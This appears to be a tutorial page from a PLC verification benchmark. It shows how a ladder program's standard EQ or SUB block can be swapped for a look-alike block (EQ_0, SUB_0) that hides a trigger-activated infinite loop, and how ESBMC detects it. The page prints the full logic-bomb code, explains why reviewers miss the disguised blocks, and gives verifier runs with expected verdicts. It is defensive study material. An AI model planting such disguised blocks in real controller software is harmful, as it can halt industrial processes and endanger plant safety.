A block that is not the block it names¶

The second technique does not touch any existing code. It changes which block a rung calls, and puts the payload in the block.

Update: released ESBMC 8.6.0

The runs on this page were recorded against the builds named beside them. For comparison, in the paper's evaluation (evidence/variants_302.csv in the release):

g_tank_stop_ge: the released ESBMC 8.6.0 refuses it with an UnsupportedConstruct diagnostic; 8.4.0 answers SAFE.
g_tank_sub_function: the released ESBMC 8.6.0 refuses it with an UnsupportedConstruct diagnostic; 8.4.0 answers SAFE.
The expected verdict is unchanged in every case.

Two characters¶

file	what it is	size	sha256
`legitimate_lstart_eq.xml`	ladder program, PLCopen XML	19.4 KB	`30764cafc4e0`
`malicious_mstart_eq.xml`	ladder program, PLCopen XML	21.3 KB	`cc69aa497eb1`
`props.yaml`	property file	0.4 KB	`75e595b4251c`

The legitimate program calls EQ, the standard IEC 61131-3 equality block, while the malicious one calls EQ_0, a function block defined further down in the same file. Everything else about the rung is unchanged: same inputs, same output, same position on the drawing, same connections.

Here is EQ_0 in full.

OUT:=FALSE;
if IN1 = IN2 THEN
  OUT :=TRUE;
end_if;

i:=0;
if IN1 = 12 then
  while i<4 do
    OUT:=FALSE;
  end_while;
end_if;

The first three lines are a correct equality test. They are what EQ does, written out, and they are why the plant runs normally: for every input except one, EQ_0 and EQ agree on every output.

Then the same non-terminating loop, on IN1 = 12.

Find the bomb

Below is the whole of EQ_0, the block the malicious rung calls instead of EQ. Four of its lines are a faithful equality test and the rest is the attack. Which lines are the payload, what is the trigger, and why does the plant behave normally without it?

OUT:=FALSE;
if IN1 = IN2 THEN
  OUT :=TRUE;
end_if;

i:=0;
if IN1 = 12 then
  while i<4 do
    OUT:=FALSE;
  end_while;
end_if;

Answer

The first four lines are the equality test and are correct, which is why every input except one behaves exactly as EQ would.

The payload is the while loop. i is set to zero and never advanced, so once the loop is entered the scan never finishes and the controller stops writing outputs.

The trigger is IN1 = 12. It is a value the vessel reaches in ordinary operation, so the attacker does not need to reach the plant again after the edit lands.

Why this is harder to see than an injected loop¶

In 5.2 the payload sat in a block a reviewer already had reason to open, because valves_handler is where the valve logic lives. Here the payload is in a block nobody has reason to open, because it claims to be a comparison.

The name does the work. A reviewer scanning a function block list sees EQ_0 and reads it as a generated name, a copy, a versioning artifact, or one of the many blocks a vendor library adds. Opening it confirms the impression, since the first thing inside is a correct equality test, and the bomb sits below the fold, after the part that already satisfied the question the reader arrived with.

Nor does the drawing give anything away. Both versions render as a comparison block wired between the same two signals, and a graphical diff of the two ladders shows a type name and some coordinates.

The runs¶

Recorded 2026-09-04T23:41:00Z. Every build ran the same command.

cp benchmarks/water_treatment/g_tank_start_eq/legitimate_lstart_eq.xml benchmarks/water_treatment/g_tank_start_eq/legitimate_lstart_eq.ld
esbmc benchmarks/water_treatment/g_tank_start_eq/legitimate_lstart_eq.ld --k-induction --ld-scan-watchdog --ld-scan-budget 8 --timeout 20s

Recorded 2026-09-04T23:41:00Z.

v8.4

cp benchmarks/water_treatment/g_tank_start_eq/legitimate_lstart_eq.xml benchmarks/water_treatment/g_tank_start_eq/legitimate_lstart_eq.ld
esbmc benchmarks/water_treatment/g_tank_start_eq/legitimate_lstart_eq.ld --k-induction --ld-scan-watchdog --ld-scan-budget 8 --timeout 20s

build	ESBMC	verdict	expected	outcome	ingestion gate	cpu
v8.4	8.4.0	`SAFE`	`SAFE`	correct	pass	0.015 s

v8.4 found its solution by the inductive step (k = 2).

What the front end encoded. The scan body as the solver receives it, branch guards kept. An assignment-only view hides the guards and makes a guarded accumulator read as a constant.

v8.4

     1: IF !1 THEN GOTO 4
        ASSIGN TLB2=NONDET(signed int);
        ASSIGN TLB1=NONDET(signed int);
        ASSIGN STOP=NONDET(_Bool);
        ASSIGN START=NONDET(_Bool);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN VALUE=NONDET(signed int);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN IN_TLB1=NONDET(signed int);
        ASSIGN IN_TLB2=NONDET(signed int);
        ASSIGN CYCLE_ON=1 && CYCLE_ON && !STOP;
        ASSIGN valves_handler0__IN1=NONDET(signed int);
        ASSIGN valves_handler0__IN_TLB1=NONDET(signed int);
        ASSIGN valves_handler0__IN_TLB2=NONDET(signed int);
        ASSIGN valves_handler0__real_value=valves_handler0__IN1 - 5;
        IF !(valves_handler0__real_value <= valves_handler0__IN_TLB2) THEN GOTO 2
        ASSIGN valves_handler0__OUT_MV2=(signed int)0;
        ASSIGN valves_handler0__OUT_MV1=1;
     2: IF !(valves_handler0__real_value >= valves_handler0__IN_TLB1) THEN GOTO 3
        ASSIGN valves_handler0__OUT_MV2=(signed int)1;
        ASSIGN valves_handler0__OUT_MV1=0;
     3: ASSIGN MV1=valves_handler0__OUT_MV1;
        ASSIGN MV2=(_Bool)valves_handler0__OUT_MV2;
        ASSIGN stop_cycle0__OUT_MV1=0;
        ASSIGN stop_cycle0__OUT_MV2=(signed int)0;
        ASSIGN MV1=stop_cycle0__OUT_MV1;
        ASSIGN MV2=(_Bool)stop_cycle0__OUT_MV2;
        GOTO 1
     4:

Recorded 2026-09-04T23:41:01Z. Every build ran the same command.

cp benchmarks/water_treatment/g_tank_start_eq/malicious_mstart_eq.xml benchmarks/water_treatment/g_tank_start_eq/malicious_mstart_eq.ld
esbmc benchmarks/water_treatment/g_tank_start_eq/malicious_mstart_eq.ld --incremental-bmc --unwind 20 --ld-scan-watchdog --ld-scan-budget 8 --timeout 20s

Recorded 2026-09-04T23:41:01Z.

v8.4

cp benchmarks/water_treatment/g_tank_start_eq/malicious_mstart_eq.xml benchmarks/water_treatment/g_tank_start_eq/malicious_mstart_eq.ld
esbmc benchmarks/water_treatment/g_tank_start_eq/malicious_mstart_eq.ld --incremental-bmc --unwind 20 --ld-scan-watchdog --ld-scan-budget 8 --timeout 20s

build	ESBMC	verdict	expected	outcome	ingestion gate	cpu
v8.4	8.4.0	`VIOLATION`	`VIOLATION`	correct	pass	0.033 s

What the front end encoded. The scan body as the solver receives it, branch guards kept. An assignment-only view hides the guards and makes a guarded accumulator read as a constant.

v8.4

     1: IF !1 THEN GOTO 7
        ASSIGN TLB2=NONDET(signed int);
        ASSIGN TLB1=NONDET(signed int);
        ASSIGN STOP=NONDET(_Bool);
        ASSIGN START=NONDET(_Bool);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN VALUE=NONDET(signed int);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN IN_TLB1=NONDET(signed int);
        ASSIGN IN_TLB2=NONDET(signed int);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN IN2=NONDET(signed int);
        ASSIGN CYCLE_ON=1 && CYCLE_ON && !STOP;
        ASSIGN valves_handler0__IN1=NONDET(signed int);
        ASSIGN valves_handler0__IN_TLB1=NONDET(signed int);
        ASSIGN valves_handler0__IN_TLB2=NONDET(signed int);
        ASSIGN valves_handler0__real_value=valves_handler0__IN1 - 5;
        IF !(valves_handler0__real_value <= valves_handler0__IN_TLB2) THEN GOTO 2
        ASSIGN valves_handler0__OUT_MV2=(signed int)0;
        ASSIGN valves_handler0__OUT_MV1=1;
     2: IF !(valves_handler0__real_value >= valves_handler0__IN_TLB1) THEN GOTO 3
        ASSIGN valves_handler0__OUT_MV2=(signed int)1;
        ASSIGN valves_handler0__OUT_MV1=0;
     3: ASSIGN MV1=valves_handler0__OUT_MV1;
        ASSIGN MV2=(_Bool)valves_handler0__OUT_MV2;
        ASSIGN stop_cycle0__OUT_MV1=0;
        ASSIGN stop_cycle0__OUT_MV2=(signed int)0;
        ASSIGN MV1=stop_cycle0__OUT_MV1;
        ASSIGN MV2=(_Bool)stop_cycle0__OUT_MV2;
        ASSIGN EQ_00__IN1=NONDET(signed int);
        ASSIGN EQ_00__IN2=NONDET(signed int);
        ASSIGN EQ_00__OUT=0;
        IF !(EQ_00__IN1 == EQ_00__IN2) THEN GOTO 4
        ASSIGN EQ_00__OUT=1;
     4: ASSIGN EQ_00__i=0;
        IF !(EQ_00__IN1 == 12) THEN GOTO 6
     5: IF !(EQ_00__i < 4) THEN GOTO 6
        ASSIGN EQ_00__OUT=0;
        GOTO 5
     6: GOTO 1
     7:

Counterexample. ESBMC's own output. A trace long enough to need it is elided in the middle, and the omission is marked and counted where it happens.

v8.4

State 1  thread 0
----------------------------------------------------
  EQ_00__IN1 = 12 (00000000 00000000 00000000 00001100)

State 2  thread 0
----------------------------------------------------
Violated property:
  assertion EQ_00____wd0 <= 8
  EQ_00____wd0 <= 8

The verdict is the same both times. Nothing had to tell the verifier that EQ_0 was suspicious, because it does not work from a list of trusted names. It translated the block that the rung actually calls, found a loop in it, and asked whether the loop can fail to terminate.

Three more of the same¶

The dataset repeats the technique on three other operators, and the suite carries all three.

benchmark	replaced	trigger
`g_tank_start_le`	`LE` → `LE_0`	`IN1 = 12`
`g_tank_stop_ge`	`GE` → `GE_0`	`IN1 = 12`
`g_tank_sub_function`	`SUB` → `SUB_0`	`IN1 = 25`

LE_0 and GE_0 are EQ_0 with the comparison changed and the same trigger. SUB_0 is the interesting one, because subtraction is not a test but the arithmetic the controller uses to correct the raw level:

OUT:=IN1 - IN2;
i:=0;
if IN1 = 25 THEN
  while i<4 do
    OUT:=25;
  end_while;
end_if;

Every level calculation in the program passes through this block. A reader auditing the safety logic looks at comparisons and interlocks, and the subtraction is arithmetic plumbing that nobody audits.

Recorded 2026-09-04T23:41:01Z. Every build ran the same command.

cp benchmarks/water_treatment/g_tank_sub_function/malicious_msub_function.xml benchmarks/water_treatment/g_tank_sub_function/malicious_msub_function.ld
esbmc benchmarks/water_treatment/g_tank_sub_function/malicious_msub_function.ld --incremental-bmc --unwind 20 --ld-scan-watchdog --ld-scan-budget 8 --timeout 20s

Recorded 2026-09-04T23:41:01Z.

v8.4

cp benchmarks/water_treatment/g_tank_sub_function/malicious_msub_function.xml benchmarks/water_treatment/g_tank_sub_function/malicious_msub_function.ld
esbmc benchmarks/water_treatment/g_tank_sub_function/malicious_msub_function.ld --incremental-bmc --unwind 20 --ld-scan-watchdog --ld-scan-budget 8 --timeout 20s

build	ESBMC	verdict	expected	outcome	ingestion gate	cpu
v8.4	8.4.0	`VIOLATION`	`VIOLATION`	correct	pass	0.033 s

What the front end encoded. The scan body as the solver receives it, branch guards kept. An assignment-only view hides the guards and makes a guarded accumulator read as a constant.

v8.4

     1: IF !1 THEN GOTO 6
        ASSIGN TLB2=NONDET(signed int);
        ASSIGN TLB1=NONDET(signed int);
        ASSIGN START=NONDET(_Bool);
        ASSIGN STOP=NONDET(_Bool);
        ASSIGN VALUE=NONDET(signed int);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN IN2=NONDET(signed int);
        ASSIGN IN1=NONDET(signed int);
        ASSIGN IN_TLB1=NONDET(signed int);
        ASSIGN IN_TLB2=NONDET(signed int);
        ASSIGN CYCLE_ON=1 && START && !STOP;
        ASSIGN CYCLE_ON=1 && CYCLE_ON && !STOP;
        ASSIGN valves_handler0__IN1=NONDET(signed int);
        ASSIGN valves_handler0__IN_TLB1=NONDET(signed int);
        ASSIGN valves_handler0__IN_TLB2=NONDET(signed int);
        IF !(valves_handler0__real_value <= valves_handler0__IN_TLB2) THEN GOTO 2
        ASSIGN valves_handler0__OUT_MV2=(signed int)0;
        ASSIGN valves_handler0__OUT_MV1=1;
     2: IF !(valves_handler0__real_value >= valves_handler0__IN_TLB1) THEN GOTO 3
        ASSIGN valves_handler0__OUT_MV2=(signed int)1;
        ASSIGN valves_handler0__OUT_MV1=0;
     3: ASSIGN MV1=valves_handler0__OUT_MV1;
        ASSIGN MV2=(_Bool)valves_handler0__OUT_MV2;
        ASSIGN stop_cycle0__OUT_MV1=0;
        ASSIGN stop_cycle0__OUT_MV2=(signed int)0;
        ASSIGN MV1=stop_cycle0__OUT_MV1;
        ASSIGN MV2=(_Bool)stop_cycle0__OUT_MV2;
        ASSIGN SUB_00__IN1=NONDET(signed int);
        ASSIGN SUB_00__IN2=NONDET(signed int);
        ASSIGN SUB_00__OUT=SUB_00__IN1 - SUB_00__IN2;
        ASSIGN SUB_00__i=0;
        IF !(SUB_00__IN1 == 25) THEN GOTO 5
     4: IF !(SUB_00__i < 4) THEN GOTO 5
        ASSIGN SUB_00__OUT=25;
        GOTO 4
     5: ASSIGN FILTERED_VALUE=SUB_00__OUT;
        GOTO 1
     6:

Counterexample. ESBMC's own output. A trace long enough to need it is elided in the middle, and the omission is marked and counted where it happens.

v8.4

State 1  thread 0
----------------------------------------------------
  SUB_00__IN1 = 25 (00000000 00000000 00000000 00011001)

State 2  thread 0
----------------------------------------------------
Violated property:
  assertion SUB_00____wd0 <= 8
  SUB_00____wd0 <= 8

What defends against it¶

Not a name allowlist. EQ_0 is a legal user-defined block, and plenty of legitimate projects define blocks named like that.

What works is refusing to trust the name at all. The verifier resolves each call to the body it actually reaches and analyzes that body, so a block called EQ_0 gets exactly as much scrutiny as one called payload. That is not cleverness about attacks. It is what translating the whole program means, and it is the reason the technique in this lesson costs the attacker nothing extra against a reviewer and nothing at all against a checker.